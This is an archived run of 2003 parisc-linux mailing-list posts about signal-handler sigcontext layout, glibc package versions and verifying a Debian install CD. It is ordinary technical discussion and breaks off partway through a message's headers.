X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:36 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "Boehm, Hans" <hans_boehm@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 15:29:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 19513485D
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 15:29:35 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030429212928.KEEF15029.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Tue, 29 Apr 2003 17:29:28 -0400
Content-Disposition: inline
In-Reply-To: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Tue, 29 Apr 2003 17:29:28 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18352

> 1) Switching to a machine with a 2.4.20-pa28 kernel and gcc 3.2.
> 2) Discarding the privilege level bits from the program counter value.

Why?

> 3) Adding 24 bytes to the struct sigcontext pointer (?) passed as a third argument to the signal handler. (!)

Are you still using a 64-bit kernel?

> Needless to say, I'm still a bit concerned about (3).  Why does the third argument to the signal handler appear to point 24 bytes BEFORE the sigcontext structure?  Does it actually point at a bigger structure?  Is the third argument to a signal handler really not a pointer to sigcontext?  Did struct sigcontext change recently, so that I'm dealing with a version mismatch?

What glibc version is installed? I made recent changes to mache the
userspace and kernel versions of sigcontext (now a machine context).
 
> With the 24 bytes added, I clearly get the right program counter values.  I also seem to get the right general register values.

How are you accessing this value? Can you generate a simple testcase
please?

c.


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Tue, 29 Apr 2003 16:13:57 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <20030429221357.GD17313@dsl2.external.hp.com>
References: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com> <20030429213027.GB12492@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622416 25001 80.91.229.3 (22 Nov 2014 02:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:36 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 16:13:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D9A574865; Tue, 29 Apr 2003 16:13:57 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030429213027.GB12492@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18353

On Tue, Apr 29, 2003 at 05:30:28PM -0400, Carlos O'Donell wrote:
> > 3) Adding 24 bytes to the struct sigcontext pointer (?) passed as a third argument to the signal handler. (!)
> 
> Are you still using a 64-bit kernel?

no - he's using:
grundler@debian:~$ uname -a
Linux debian 2.4.20-pa28 #39 Wed Mar 12 19:24:25 PST 2003 parisc unknown
unknown GNU/Linux

It's possible the kernel-headers he's using aren't clean.
Just in case, can you tell me which ones he should be using?

> What glibc version is installed? I made recent changes to mache the
> userspace and kernel versions of sigcontext (now a machine context).

grundler@debian:~$ dpkg -l libc6\*
Desired=Unknown/Install/Remove/Purge/Hold
|
Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-============================================
ii  libc6          2.3.1-16       GNU C Library: Shared libraries and Timezone
un  libc6-bin      <none>         (no description available)
pn  libc6-dbg      <none>         (no description available)
ii  libc6-dev      2.3.1-16       GNU C Library: Development Libraries and Hea
...

grundler@debian:~$ ls -l /var/opt/LinuxCOE/Debian/pool/main/g/glibc/libc6-dev_2.3.1-*_hppa.deb
-rw-rw-r--    1 root     1176      2958496 Mar 22 12:02 /var/opt/LinuxCOE/Debian/pool/main/g/glibc/libc6-dev_2.3.1-16_hppa.deb
-rw-rw-r--    1 root     1176      2959794 Apr 21 06:47 /var/opt/LinuxCOE/Debian/pool/main/g/glibc/libc6-dev_2.3.1-17_hppa.deb


I'm ok with updating to -17 if you promise it won't do evil things
to my box. ;^)

thanks,
grant


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Tue, 29 Apr 2003 20:31:06 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20030430003106.GC12492@systemhalted>
References: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com> <20030429213027.GB12492@systemhalted> <20030429221357.GD17313@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622417 25006 80.91.229.3 (22 Nov 2014 02:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:37 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 18:30:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from fep04-mail.bloor.is.net.cable.rogers.com (fep04-mail.bloor.is.net.cable.rogers.com [66.185.86.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6157B4868
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 18:30:13 -0600 (MDT)
Original-Received: from systemhalted ([24.112.227.68])
          by fep04-mail.bloor.is.net.cable.rogers.com
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20030430003007.LVIH15029.fep04-mail.bloor.is.net.cable.rogers.com@systemhalted>;
          Tue, 29 Apr 2003 20:30:07 -0400
Content-Disposition: inline
In-Reply-To: <20030429221357.GD17313@dsl2.external.hp.com>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (96% Sync Ratio [==========])
User-Agent: Mutt/1.5.4i
X-Authentication-Info: Submitted using SMTP AUTH LOGIN at fep04-mail.bloor.is.net.cable.rogers.com from [24.112.227.68] using ID <patofiero@rogers.com> at Tue, 29 Apr 2003 20:30:07 -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18354

g,

> no - he's using:
> grundler@debian:~$ uname -a
> Linux debian 2.4.20-pa28 #39 Wed Mar 12 19:24:25 PST 2003 parisc unknown
> unknown GNU/Linux

Perfect.
 
> It's possible the kernel-headers he's using aren't clean.
> Just in case, can you tell me which ones he should be using?

/usr/inlcude/asm/sigcontext.h should define it to be:

/* We will add more stuff here as it becomes necessary, until we know
   it works. */
struct sigcontext {
        unsigned long sc_flags;
        unsigned long sc_gr[32]; /* PSW in sc_gr[0] */
        unsigned long long sc_fr[32]; /* FIXME, do we need other state info? */
        unsigned long sc_iasq[2];
        unsigned long sc_iaoq[2];
        unsigned long sc_sar; /* cr11 */
};

Which is used to define an identical mcontext.

> ii  libc6          2.3.1-16       GNU C Library: Shared libraries and Timezone
> ii  libc6-dev      2.3.1-16       GNU C Library: Development Libraries and Hea

Perfect.

> I'm ok with updating to -17 if you promise it won't do evil things
> to my box. ;^)

Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
to things like 'vi' ... *sigh* I haven't even looked into this (looks
like gcc/glibc clashes again).

c.


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Boehm, Hans" <hans_boehm@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Program counter from sigcontext, constructurs 
	and -fPIC
Date: Tue, 29 Apr 2003 17:52:14 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <75A9FEBA25015040A761C1F74975667D0144206A@hplex4.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622417 25013 80.91.229.3 (22 Nov 2014 02:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:37 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "'Carlos O'Donell'" <carlos@baldric.uwo.ca>,
	Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 18:52:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18214486C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Apr 2003 18:52:24 -0600 (MDT)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	by palrel12.hp.com (Postfix) with ESMTP
	id B992D1C014A7; Tue, 29 Apr 2003 17:52:23 -0700 (PDT)
Original-Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182])
	by hplms2.hpl.hp.com (8.12.9/8.12.9/HPL-PA Hub) with SMTP id h3U0qHfK022228;
	Tue, 29 Apr 2003 17:52:17 -0700 (PDT)
Original-Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Tue, 29 Apr 2003 17:52:16 -0700
Original-Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19)
	id <JW12DXAQ>; Tue, 29 Apr 2003 17:52:16 -0700
X-Mailer: Internet Mail Service (5.5.2653.19)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18355

The struct sigcontext seems to match the declarations I'm seeing and what dbx is seeing.

I think you should be able to reproduce the problem fairly simply by:

1) Downloading http://www.hpl.hp.com/personal/Hans_Boehm/qprof/qprof-0.2.tar.gz
2) Unpacking
3) "make qprof_test" with a recent gcc; this should only take a few seconds.  This doesn't use much of the source code, or uses it in only trivial ways.
4) gdb ./qprof_test
5) break PROF_pc_sample_list_handler; run
6) Look at the handler arguments, particularly the third one.

The corresponding sigaction call is also in prof_utils.c, the same file that contains the above function.  All of the relevant code is either in prof_utils.c and prof_main.c.

(If everything worked, this would report PC samples that are off by 3, since it doesn't contain the privilege level fix.)

Hans

> -----Original Message-----
> From: Carlos O'Donell [mailto:carlos@baldric.uwo.ca]
> Sent: Tuesday, April 29, 2003 5:31 PM
> To: Grant Grundler
> Cc: Boehm, Hans; 'parisc-linux@lists.parisc-linux.org'
> Subject: Re: [parisc-linux] Program counter from sigcontext,
> constructurs and -fPIC
> 
> 
> 
> g,
> 
> > no - he's using:
> > grundler@debian:~$ uname -a
> > Linux debian 2.4.20-pa28 #39 Wed Mar 12 19:24:25 PST 2003 
> parisc unknown
> > unknown GNU/Linux
> 
> Perfect.
>  
> > It's possible the kernel-headers he's using aren't clean.
> > Just in case, can you tell me which ones he should be using?
> 
> /usr/inlcude/asm/sigcontext.h should define it to be:
> 
> /* We will add more stuff here as it becomes necessary, until we know
>    it works. */
> struct sigcontext {
>         unsigned long sc_flags;
>         unsigned long sc_gr[32]; /* PSW in sc_gr[0] */
>         unsigned long long sc_fr[32]; /* FIXME, do we need 
> other state info? */
>         unsigned long sc_iasq[2];
>         unsigned long sc_iaoq[2];
>         unsigned long sc_sar; /* cr11 */
> };
> 
> Which is used to define an identical mcontext.
> 
> > ii  libc6          2.3.1-16       GNU C Library: Shared 
> libraries and Timezone
> > ii  libc6-dev      2.3.1-16       GNU C Library: 
> Development Libraries and Hea
> 
> Perfect.
> 
> > I'm ok with updating to -17 if you promise it won't do evil things
> > to my box. ;^)
> 
> Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
> to things like 'vi' ... *sigh* I haven't even looked into this (looks
> like gcc/glibc clashes again).
> 
> c.
> 


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Program counter from sigcontext, constructurs and -fPIC
Date: Tue, 29 Apr 2003 23:18:06 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20030430051806.GA27050@dsl2.external.hp.com>
References: <75A9FEBA25015040A761C1F74975667D01442066@hplex4.hpl.hp.com> <20030429213027.GB12492@systemhalted> <20030429221357.GD17313@dsl2.external.hp.com> <20030430003106.GC12492@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622417 25015 80.91.229.3 (22 Nov 2014 02:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:37 +0000 (UTC)
Cc: "Boehm, Hans" <hans_boehm@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr 29 23:18:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id A83BB482A; Tue, 29 Apr 2003 23:18:06 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030430003106.GC12492@systemhalted>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18356

On Tue, Apr 29, 2003 at 08:31:06PM -0400, Carlos O'Donell wrote:
...
> /* We will add more stuff here as it becomes necessary, until we know
>    it works. */
> struct sigcontext {
>         unsigned long sc_flags;
>         unsigned long sc_gr[32]; /* PSW in sc_gr[0] */
...

yes. exactly matches.

...
> Don't touch -17, the _Unwind_Find_FDE code broke and it's doing damage
> to things like 'vi' ... *sigh* I haven't even looked into this (looks
> like gcc/glibc clashes again).

ok. thanks for the warning.

Looks things are as good as they are going to get on that box for
the time being then.

thanks,
grant


From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: patch 2.4.21 (follow up)
Date: Wed, 30 Apr 2003 08:12:31 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3EA9466400001A07@ocpmta7.freegates.net>
References: <3EA841FA00001A20@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622417 25018 80.91.229.3 (22 Nov 2014 02:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 00:12:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D2874871
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 00:12:35 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19AkpV-0006dR-00; Wed, 30 Apr 2003 08:12:33 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19AkpV-0006d8-00; Wed, 30 Apr 2003 08:12:33 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 30 Apr 2003 08:12:31 +0200
In-Reply-To: <3EA841FA00001A20@ocpmta1.freegates.net>
X-DCC-neonova-Metrics: spm3 1127; Body=2 Fuz1=2 Fuz2=2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18357

>-- Original Message --
>Date: Tue, 29 Apr 2003 11:40:02 +0200
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: patch 2.4.21 (follow up)
>To: "Alan Cox" <alan@lxorguk.ukuu.org.uk>
>Cc: parisc-linux@lists.parisc-linux.org
>
>
>Alan,
>
>Refering to your last Changelog 2.4.21-rc1-ac3:
><http://linuxtoday.com/developer/2003042801626NWKNDV>
>
>I would like to thanks you again for your help and all those who help me
>to build this stuff.
>
>hth,
>    Joel
>
>
>---------------------------------
>Vous surfez avec une ligne classique ?
>Economisez jusqu' 25% avec Tiscali Complete !
>Offre spciale : premire anne d'abonnement offerte.
>... Plus d'info sur http://complete.tiscali.be
>
>


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot install (shellutils)
Date: Wed, 30 Apr 2003 08:27:14 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <3EA9466400001A2A@ocpmta7.freegates.net>
References: <3EA841FA00001805@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622418 25020 80.91.229.3 (22 Nov 2014 02:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:38 +0000 (UTC)
Cc: "J?rg Benndorf" <joerg.benndorf@t-online.de>,
	parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 00:27:17 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id C18BE4874
	for <parisc-linux@lists.parisc-linux.org>; Wed, 30 Apr 2003 00:27:16 -0600 (MDT)
Original-Received: from mail by smtp-out.tiscali.be with dcc (Tiscali) 
	id 19Al3i-0008UQ-00; Wed, 30 Apr 2003 08:27:15 +0200
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 19Al3i-0008UI-00; Wed, 30 Apr 2003 08:27:14 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 30 Apr 2003 08:27:14 +0200
In-Reply-To: <3EA841FA00001805@ocpmta1.freegates.net>
X-DCC-neonova-Metrics: spm3 1127; Body=3 Fuz1=3 Fuz2=3
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18358

Umm some mail pb?

>-- Original Message --
>Date: Tue, 29 Apr 2003 08:27:15 +0200
>From: "Joel Soete" <jsoe0708@tiscali.be>
>Subject: Re: [parisc-linux] cannot install (shellutils)
>To: "Grant Grundler" <grundler@parisc-linux.org>
>Cc: "J?rg Benndorf" <joerg.benndorf@t-online.de>,
> parisc-linux@lists.parisc-linux.org
>
>
>
>>
>>On Mon, Apr 28, 2003 at 02:40:40PM +0200, Joel Soete wrote:
>>> >I got the install cd by downloading the iso image using jigdo.
>>
>>...
>>> First of all, check the md5sum checksum of the image you download (very
>>> usefull for big files).
>>
>>I think jigdo already did.  IIRC jigdo verifies the final ISO image.
>
>I just know jigdo by name but do not have infrastructure to test (not enough
>disk space, fw allowing just a minimum of protocol)
>
>Hmm you also rightly point out that only speek about to check the image
and
>forgot to mentioned to check also the burned cd (just a priceless care :)
>)
>
>>
>>> If it is ok tell us more about tools you used to burn this image
>>> (I use cdrtools on *nix system)
>>
>>The ISO seems to boot - therefore I'll guess it's something else.
>
>Also but as we encounter many times this kind of pb because of cd wrongly
>burned I would just check step by step :)
> 
Joachim used dd but it could also used a tools coming with cdrtools:
readcd dev=1,4,0 f=- | md5sum

(for dev replaced your own cd hw/path)

>Joel
>


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be





From - Thu Nov 08 21:27:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] cannot install (shellutils)
Date: Wed, 30 Apr 2003 08:34:12 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <3EA9466400001A38@ocpmta7.freegates.net>
References: <OF67C87243.4AA56CF6-ONC1256D17.0044AF0F@diamond.philips.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622418 25024 80.91.229.3 (22 Nov 2014 02:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joachim.weller@philips.com,
	=?ISO-8859-1?Q?J=F6rg=20Benndorf?= <joerg.benndorf@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr 30 00:34:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
